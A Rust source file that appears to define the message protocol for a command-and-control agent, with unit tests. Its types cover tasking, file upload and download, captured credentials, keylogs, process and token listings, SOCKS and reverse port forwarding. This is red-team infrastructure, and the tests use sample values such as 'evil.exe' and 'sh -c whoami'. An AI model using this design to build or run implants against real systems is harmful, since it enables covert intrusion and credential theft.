1use serde::{Deserialize, Serialize};
5use serde_json::Value;
6use std::{
7 string::{String, ToString},
8 vec::Vec,
9};
10use uuid::Uuid;
11
12use super::{
13 ACTION_GET_TASKING,
14 peer::{
15 AlertMessage, DelegateMessage, EdgeMessage, InteractiveMessage, ReversePortForwardMessage,
16 SocksMessage,
17 },
18};
19
20fn default_tasking_size() -> i32 {
21 1
22}
23
24fn default_get_delegate_tasks() -> bool {
25 true
26}
27
28fn default_is_screenshot() -> bool {
29 false
30}
31
32fn is_false(value: &bool) -> bool {
33 !*value
34}
35
36#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq)]
39pub struct AgentExtras {
40 #[serde(default, skip_serializing_if = "Vec::is_empty")]
41 pub delegates: Vec<DelegateMessage>,
42 #[serde(default, skip_serializing_if = "Vec::is_empty")]
43 pub socks: Vec<SocksMessage>,
44 #[serde(default, skip_serializing_if = "Vec::is_empty")]
45 pub rpfwd: Vec<ReversePortForwardMessage>,
46 #[serde(default, skip_serializing_if = "Vec::is_empty")]
47 pub interactive: Vec<InteractiveMessage>,
48 #[serde(default, skip_serializing_if = "Vec::is_empty")]
49 pub alerts: Vec<AlertMessage>,
50 #[serde(default, skip_serializing_if = "Vec::is_empty")]
51 pub edges: Vec<EdgeMessage>,
52}
53
54#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq)]
56pub struct AgentMessageExtras {
57 #[serde(default, skip_serializing_if = "Vec::is_empty")]
58 pub responses: Vec<TaskResponse>,
59 #[serde(flatten)]
60 pub shared: AgentExtras,
61}
62
63pub type AgentResponseExtras = AgentExtras;
65
66#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
69pub struct ReqGetTasking {
70 pub action: String,
71 #[serde(default = "default_tasking_size")]
72 pub tasking_size: i32,
73 #[serde(default = "default_get_delegate_tasks")]
74 pub get_delegate_tasks: bool,
75 #[serde(flatten)]
76 pub extras: AgentMessageExtras,
77}
78
79impl ReqGetTasking {
80 pub fn new(tasking_size: i32) -> Self {
81 Self {
82 action: ACTION_GET_TASKING.to_string(),
83 tasking_size,
84 get_delegate_tasks: true,
85 extras: AgentMessageExtras::default(),
86 }
87 }
88
89 pub fn with_delegate_tasks(tasking_size: i32, get_delegate_tasks: bool) -> Self {
90 Self {
91 action: ACTION_GET_TASKING.to_string(),
92 tasking_size,
93 get_delegate_tasks,
94 extras: AgentMessageExtras::default(),
95 }
96 }
97
98 pub fn with_extras(tasking_size: i32, extras: AgentMessageExtras) -> Self {
101 Self {
102 action: ACTION_GET_TASKING.to_string(),
103 tasking_size,
104 get_delegate_tasks: true,
105 extras,
106 }
107 }
108}
109
110#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
111pub struct RespGetTasking {
112 pub action: String,
113 #[serde(default)]
114 pub tasks: Vec<TaskMessage>,
115 #[serde(flatten)]
116 pub extras: AgentResponseExtras,
117}
118
119impl RespGetTasking {
120 pub fn new(tasks: Vec<TaskMessage>) -> Self {
121 Self {
122 action: ACTION_GET_TASKING.to_string(),
123 tasks,
124 extras: AgentResponseExtras::default(),
125 }
126 }
127}
128
129#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq)]
132pub struct TaskMessage {
133 pub command: String,
134 pub parameters: String,
135 pub timestamp: f64,
136 pub id: Uuid,
137}
138
139#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq)]
145pub struct TaskResponse {
146 pub task_id: Uuid,
147 #[serde(default, skip_serializing_if = "Option::is_none")]
148 pub completed: Option<bool>,
149 #[serde(default, skip_serializing_if = "Option::is_none")]
150 pub status: Option<String>,
151 #[serde(default, skip_serializing_if = "Option::is_none")]
152 pub user_output: Option<String>,
153 #[serde(default, skip_serializing_if = "Option::is_none")]
154 pub process_response: Option<Value>,
155
156 #[serde(default, skip_serializing_if = "Option::is_none")]
158 pub download: Option<TaskDownload>,
159 #[serde(default, skip_serializing_if = "Option::is_none")]
160 pub upload: Option<TaskUpload>,
161
162 #[serde(default, skip_serializing_if = "Option::is_none")]
164 pub file_browser: Option<FileBrowserEntry>,
165 #[serde(default, skip_serializing_if = "Vec::is_empty")]
166 pub credentials: Vec<Credential>,
167 #[serde(default, skip_serializing_if = "Vec::is_empty")]
168 pub artifacts: Vec<Artifact>,
169 #[serde(default, skip_serializing_if = "Vec::is_empty")]
170 pub processes: Vec<ProcessEntry>,
171 #[serde(default, skip_serializing_if = "Vec::is_empty")]
172 pub commands: Vec<CommandAction>,
173 #[serde(default, skip_serializing_if = "Vec::is_empty")]
174 pub keylogs: Vec<KeylogEntry>,
175 #[serde(default, skip_serializing_if = "Vec::is_empty")]
176 pub tokens: Vec<TokenEntry>,
177 #[serde(default, skip_serializing_if = "Vec::is_empty")]
178 pub callback_tokens: Vec<CallbackToken>,
179 #[serde(default, skip_serializing_if = "Vec::is_empty")]
180 pub removed_files: Vec<RemovedFileInfo>,
181
182 #[serde(default, skip_serializing_if = "Vec::is_empty")]
184 pub alerts: Vec<AlertMessage>,
185 #[serde(default, skip_serializing_if = "Vec::is_empty")]
186 pub edges: Vec<EdgeMessage>,
187 #[serde(default, skip_serializing_if = "Vec::is_empty")]
188 pub socks: Vec<SocksMessage>,
189 #[serde(default, skip_serializing_if = "Vec::is_empty")]
190 pub rpfwd: Vec<ReversePortForwardMessage>,
191 #[serde(default, skip_serializing_if = "Vec::is_empty")]
192 pub interactive: Vec<InteractiveMessage>,
193}
194
195impl TaskResponse {
196 pub fn completed(task_id: Uuid, user_output: &str) -> Self {
197 Self {
198 task_id,
199 completed: Some(true),
200 status: Some("success".into()),
201 user_output: Some(user_output.into()),
202 ..Default::default()
203 }
204 }
205
206 pub fn failed(task_id: Uuid, error: &str) -> Self {
207 Self {
208 task_id,
209 completed: Some(true),
210 status: Some("error".into()),
211 user_output: Some(error.into()),
212 ..Default::default()
213 }
214 }
215}
216
217#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq, Eq)]
220pub struct TaskDownload {
221 #[serde(default, skip_serializing_if = "Option::is_none")]
222 pub total_chunks: Option<u32>,
223 #[serde(default, skip_serializing_if = "Option::is_none")]
224 pub chunk_size: Option<u32>,
225 #[serde(default, skip_serializing_if = "Option::is_none")]
226 pub filename: Option<String>,
227 #[serde(default, skip_serializing_if = "Option::is_none")]
228 pub full_path: Option<String>,
229 #[serde(default, skip_serializing_if = "Option::is_none")]
230 pub host: Option<String>,
231 #[serde(default = "default_is_screenshot", skip_serializing_if = "is_false")]
232 pub is_screenshot: bool,
233 #[serde(default, skip_serializing_if = "Option::is_none")]
234 pub file_id: Option<Uuid>,
235 #[serde(default, skip_serializing_if = "Option::is_none")]
236 pub chunk_num: Option<u32>,
237 #[serde(default, skip_serializing_if = "Option::is_none")]
238 pub chunk_data: Option<String>,
239}
240
241#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq, Eq)]
243pub struct TaskUpload {
244 pub chunk_size: u32,
245 pub file_id: Uuid,
246 pub chunk_num: u32,
248 #[serde(default, skip_serializing_if = "Option::is_none")]
249 pub full_path: Option<String>,
250 #[serde(default, skip_serializing_if = "Option::is_none")]
251 pub host: Option<String>,
252}
253
254#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq)]
258pub struct FileBrowserEntry {
259 pub is_file: bool,
260 pub name: String,
261 #[serde(default, skip_serializing_if = "Option::is_none")]
262 pub permissions: Option<Value>,
263 #[serde(default, skip_serializing_if = "Option::is_none")]
264 pub access_time: Option<i64>,
265 #[serde(default, skip_serializing_if = "Option::is_none")]
266 pub modify_time: Option<i64>,
267 #[serde(default, skip_serializing_if = "Option::is_none")]
268 pub size: Option<i64>,
269 #[serde(default, skip_serializing_if = "Option::is_none")]
270 pub host: Option<String>,
271 #[serde(default, skip_serializing_if = "Option::is_none")]
272 pub parent_path: Option<String>,
273 #[serde(default, skip_serializing_if = "Option::is_none")]
274 pub success: Option<bool>,
275 #[serde(default, skip_serializing_if = "is_false")]
276 pub update_deleted: bool,
277 #[serde(default, skip_serializing_if = "is_false")]
278 pub set_as_user_output: bool,
279 #[serde(default, skip_serializing_if = "Vec::is_empty")]
280 pub files: Vec<FileBrowserEntry>,
281}
282
283#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq, Eq)]
284pub struct Credential {
285 pub credential_type: String,
286 pub credential: String,
287 pub account: String,
288 #[serde(default, skip_serializing_if = "Option::is_none")]
289 pub realm: Option<String>,
290 #[serde(default, skip_serializing_if = "Option::is_none")]
291 pub comment: Option<String>,
292}
293
294#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq, Eq)]
295pub struct Artifact {
296 pub base_artifact: String,
297 pub artifact: String,
298 #[serde(default)]
299 pub needs_cleanup: bool,
300 #[serde(default)]
301 pub resolved: bool,
302}
303
304#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq)]
305pub struct ProcessEntry {
306 pub process_id: i64,
307 pub name: String,
308 pub host: String,
309 #[serde(default, skip_serializing_if = "Option::is_none")]
310 pub parent_process_id: Option<i64>,
311 #[serde(default, skip_serializing_if = "Option::is_none")]
312 pub architecture: Option<String>,
313 #[serde(default, skip_serializing_if = "Option::is_none")]
314 pub bin_path: Option<String>,
315 #[serde(default, skip_serializing_if = "Option::is_none")]
316 pub user: Option<String>,
317 #[serde(default, skip_serializing_if = "Option::is_none")]
318 pub command_line: Option<String>,
319 #[serde(default, skip_serializing_if = "Option::is_none")]
320 pub integrity_level: Option<i32>,
321 #[serde(default, skip_serializing_if = "Option::is_none")]
322 pub start_time: Option<i64>,
323 #[serde(default, skip_serializing_if = "Option::is_none")]
324 pub description: Option<String>,
325 #[serde(default, skip_serializing_if = "Option::is_none")]
326 pub signer: Option<String>,
327 #[serde(default, skip_serializing_if = "Option::is_none")]
328 pub protected_process_level: Option<i32>,
329 #[serde(default, skip_serializing_if = "is_false")]
330 pub update_deleted: bool,
331}
332
333#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq, Eq)]
334pub struct CommandAction {
335 pub action: String,
336 pub cmd: String,
337}
338
339#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq, Eq)]
340pub struct KeylogEntry {
341 pub keystrokes: String,
342 #[serde(default, skip_serializing_if = "Option::is_none")]
343 pub user: Option<String>,
344 #[serde(default, skip_serializing_if = "Option::is_none")]
345 pub window_title: Option<String>,
346}
347
348#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq)]
349pub struct TokenEntry {
350 pub token_id: i64,
351 pub host: String,
352 pub user: String,
353 #[serde(default, skip_serializing_if = "Option::is_none")]
354 pub groups: Option<String>,
355 #[serde(default, skip_serializing_if = "Option::is_none")]
356 pub thread_id: Option<i64>,
357 #[serde(default, skip_serializing_if = "Option::is_none")]
358 pub process_id: Option<i64>,
359 #[serde(default, skip_serializing_if = "Option::is_none")]
360 pub default_dacl: Option<String>,
361 #[serde(default, skip_serializing_if = "Option::is_none")]
362 pub session_id: Option<i64>,
363 #[serde(default, skip_serializing_if = "Option::is_none")]
364 pub restricted: Option<bool>,
365 #[serde(default, skip_serializing_if = "Option::is_none")]
366 pub capabilities: Option<String>,
367 #[serde(default, skip_serializing_if = "Option::is_none")]
368 pub logon_sid: Option<String>,
369 #[serde(default, skip_serializing_if = "Option::is_none")]
370 pub integrity_level_sid: Option<i64>,
371 #[serde(default, skip_serializing_if = "Option::is_none")]
372 pub app_container_number: Option<i64>,
373 #[serde(default, skip_serializing_if = "Option::is_none")]
374 pub app_container_sid: Option<String>,
375 #[serde(default, skip_serializing_if = "Option::is_none")]
376 pub privileges: Option<String>,
377 #[serde(default, skip_serializing_if = "Option::is_none")]
378 pub handle: Option<i64>,
379}
380
381#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq, Eq)]
382pub struct CallbackToken {
383 pub action: String,
384 pub host: String,
385 pub token_id: i64,
386}
387
388#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq, Eq)]
389pub struct RemovedFileInfo {
390 pub host: String,
391 pub path: String,
392}
393
394#[cfg(test)]
397mod tests {
398 use super::*;
399 use std::{string::ToString, vec};
400
401 use crate::protocol::peer::{
402 AlertMessage, EdgeMessage, InteractiveMessage, ReversePortForwardMessage, SocksMessage,
403 };
404
405 #[test]
406 fn get_tasking_defaults_are_correct() {
407 let req = ReqGetTasking::new(9);
408 let req_all = ReqGetTasking::new(-1);
409 let req_without = ReqGetTasking::with_delegate_tasks(3, false);
410
411 assert_eq!(req.action, ACTION_GET_TASKING);
412 assert_eq!(req.tasking_size, 9);
413 assert_eq!(req_all.tasking_size, -1);
414 assert!(req.get_delegate_tasks);
415 assert!(!req_without.get_delegate_tasks);
416 }
417
418 #[test]
419 fn extras_roundtrip() {
420 let extras = AgentMessageExtras::default();
421 assert_eq!(
422 serde_json::from_str::<AgentMessageExtras>(&serde_json::to_string(&extras).unwrap())
423 .unwrap(),
424 extras
425 );
426
427 let resp_extras = AgentResponseExtras::default();
428 assert_eq!(
429 serde_json::from_str::<AgentResponseExtras>(
430 &serde_json::to_string(&resp_extras).unwrap()
431 )
432 .unwrap(),
433 resp_extras
434 );
435 }
436
437 #[test]
438 fn resp_get_tasking_roundtrip() {
439 let uuid = Uuid::nil();
440 let resp = RespGetTasking {
441 action: ACTION_GET_TASKING.to_string(),
442 tasks: vec![TaskMessage {
443 command: "ls".to_string(),
444 parameters: "-la".to_string(),
445 timestamp: 1.0,
446 id: uuid,
447 }],
448 extras: AgentResponseExtras::default(),
449 };
450 assert_eq!(
451 serde_json::from_str::<RespGetTasking>(&serde_json::to_string(&resp).unwrap()).unwrap(),
452 resp
453 );
454 }
455
456 #[test]
457 fn task_response_default_is_empty() {
458 let resp = TaskResponse::default();
459 assert!(resp.user_output.is_none());
460 assert!(resp.download.is_none());
461 assert!(resp.upload.is_none());
462 assert!(resp.file_browser.is_none());
463 assert!(resp.credentials.is_empty());
464 assert!(resp.artifacts.is_empty());
465 assert!(resp.processes.is_empty());
466 assert!(resp.commands.is_empty());
467 assert!(resp.keylogs.is_empty());
468 assert!(resp.tokens.is_empty());
469 assert!(resp.callback_tokens.is_empty());
470 assert!(resp.removed_files.is_empty());
471 }
472
473 #[test]
474 fn task_models_roundtrip() {
475 let uuid = Uuid::nil();
476
477 let task_message = TaskMessage {
478 command: "ls".to_string(),
479 parameters: "-la".to_string(),
480 timestamp: 1.5,
481 id: uuid,
482 };
483 assert_eq!(
484 serde_json::from_str::<TaskMessage>(&serde_json::to_string(&task_message).unwrap())
485 .unwrap(),
486 task_message
487 );
488
489 let task_download = TaskDownload {
490 total_chunks: Some(2),
491 chunk_size: Some(64),
492 filename: Some("out.txt".to_string()),
493 full_path: Some("/tmp/out.txt".to_string()),
494 host: Some("host-a".to_string()),
495 is_screenshot: false,
496 file_id: None,
497 chunk_num: None,
498 chunk_data: None,
499 };
500 assert_eq!(
501 serde_json::from_str::<TaskDownload>(&serde_json::to_string(&task_download).unwrap())
502 .unwrap(),
503 task_download
504 );
505
506 let task_upload = TaskUpload {
507 chunk_size: 512000,
508 file_id: uuid,
509 chunk_num: 1,
510 full_path: Some("/tmp/target".into()),
511 host: Some("host-a".into()),
512 };
513 assert_eq!(
514 serde_json::from_str::<TaskUpload>(&serde_json::to_string(&task_upload).unwrap())
515 .unwrap(),
516 task_upload
517 );
518
519 let file_entry = FileBrowserEntry {
520 is_file: false,
521 name: "dir".into(),
522 host: Some("h".into()),
523 parent_path: Some("/".into()),
524 success: Some(true),
525 permissions: Some(serde_json::json!({"x": 1})),
526 files: vec![FileBrowserEntry {
527 is_file: true,
528 name: "f.txt".into(),
529 size: Some(100),
530 ..Default::default()
531 }],
532 ..Default::default()
533 };
534 assert_eq!(
535 serde_json::from_str::<FileBrowserEntry>(&serde_json::to_string(&file_entry).unwrap())
536 .unwrap(),
537 file_entry
538 );
539
540 let credential = Credential {
541 credential_type: "plaintext".into(),
542 credential: "pass123".into(),
543 account: "admin".into(),
544 realm: Some("DOMAIN".into()),
545 comment: None,
546 };
547 assert_eq!(
548 serde_json::from_str::<Credential>(&serde_json::to_string(&credential).unwrap())
549 .unwrap(),
550 credential
551 );
552
553 let artifact = Artifact {
554 base_artifact: "Process Create".into(),
555 artifact: "sh -c whoami".into(),
556 needs_cleanup: false,
557 resolved: false,
558 };
559 assert_eq!(
560 serde_json::from_str::<Artifact>(&serde_json::to_string(&artifact).unwrap()).unwrap(),
561 artifact
562 );
563
564 let process = ProcessEntry {
565 process_id: 12345,
566 name: "evil.exe".into(),
567 host: "a.b.com".into(),
568 parent_process_id: Some(1234),
569 architecture: Some("x64".into()),
570 user: Some("bob".into()),
571 ..Default::default()
572 };
573 assert_eq!(
574 serde_json::from_str::<ProcessEntry>(&serde_json::to_string(&process).unwrap())
575 .unwrap(),
576 process
577 );
578
579 let cmd = CommandAction {
580 action: "add".into(),
581 cmd: "shell".into(),
582 };
583 assert_eq!(
584 serde_json::from_str::<CommandAction>(&serde_json::to_string(&cmd).unwrap()).unwrap(),
585 cmd
586 );
587
588 let keylog = KeylogEntry {
589 keystrokes: "password123".into(),
590 user: Some("alice".into()),
591 window_title: Some("Notepad".into()),
592 };
593 assert_eq!(
594 serde_json::from_str::<KeylogEntry>(&serde_json::to_string(&keylog).unwrap()).unwrap(),
595 keylog
596 );
597
598 let token = TokenEntry {
599 token_id: 18947,
600 host: "bob.com".into(),
601 user: "bob".into(),
602 process_id: Some(2345),
603 ..Default::default()
604 };
605 assert_eq!(
606 serde_json::from_str::<TokenEntry>(&serde_json::to_string(&token).unwrap()).unwrap(),
607 token
608 );
609
610 let cb_token = CallbackToken {
611 action: "add".into(),
612 host: "a.b.com".into(),
613 token_id: 12345,
614 };
615 assert_eq!(
616 serde_json::from_str::<CallbackToken>(&serde_json::to_string(&cb_token).unwrap())
617 .unwrap(),
618 cb_token
619 );
620
621 let removed = RemovedFileInfo {
622 host: "h".into(),
623 path: "/tmp/f".into(),
624 };
625 assert_eq!(
626 serde_json::from_str::<RemovedFileInfo>(&serde_json::to_string(&removed).unwrap())
627 .unwrap(),
628 removed
629 );
630
631 let chunk_download = TaskDownload {
632 total_chunks: None,
633 chunk_size: None,
634 filename: None,
635 full_path: None,
636 host: None,
637 is_screenshot: true,
638 file_id: Some(Uuid::from_u128(3)),
639 chunk_num: Some(1),
640 chunk_data: Some("cGFydA".to_string()),
641 };
642 assert_eq!(
643 serde_json::from_str::<TaskDownload>(&serde_json::to_string(&chunk_download).unwrap())
644 .unwrap(),
645 chunk_download
646 );
647
648 let full_response = TaskResponse {
650 task_id: uuid,
651 completed: Some(true),
652 status: Some("done".into()),
653 user_output: Some("ok".into()),
654 process_response: Some(serde_json::json!({"k": "v"})),
655 download: Some(task_download.clone()),
656 upload: Some(task_upload.clone()),
657 file_browser: Some(file_entry.clone()),
658 credentials: vec![credential.clone()],
659 artifacts: vec![artifact.clone()],
660 processes: vec![process.clone()],
661 commands: vec![cmd.clone()],
662 keylogs: vec![keylog.clone()],
663 tokens: vec![token.clone()],
664 callback_tokens: vec![cb_token.clone()],
665 removed_files: vec![removed.clone()],
666 alerts: vec![AlertMessage {
667 source: Some("a".into()),
668 level: Some("info".into()),
669 alert: Some("note".into()),
670 send_webhook: Some(false),
671 webhook_alert: Some(serde_json::json!({"x": 1})),
672 }],
673 edges: vec![EdgeMessage {
674 source: "src".into(),
675 destination: "dst".into(),
676 action: "add".into(),
677 c2_profile: "http".into(),
678 metadata: Some("meta".into()),
679 }],
680 socks: vec![SocksMessage {
681 server_id: 1,
682 exit: false,
683 data: Some("d".into()),
684 }],
685 rpfwd: vec![ReversePortForwardMessage {
686 server_id: 2,
687 exit: true,
688 data: None,
689 port: None,
690 }],
691 interactive: vec![InteractiveMessage {
692 task_id: uuid,
693 data: "stdin".into(),
694 message_type: 7,
695 }],
696 };
697 assert_eq!(
698 serde_json::from_str::<TaskResponse>(&serde_json::to_string(&full_response).unwrap())
699 .unwrap(),
700 full_response
701 );
702 }
703}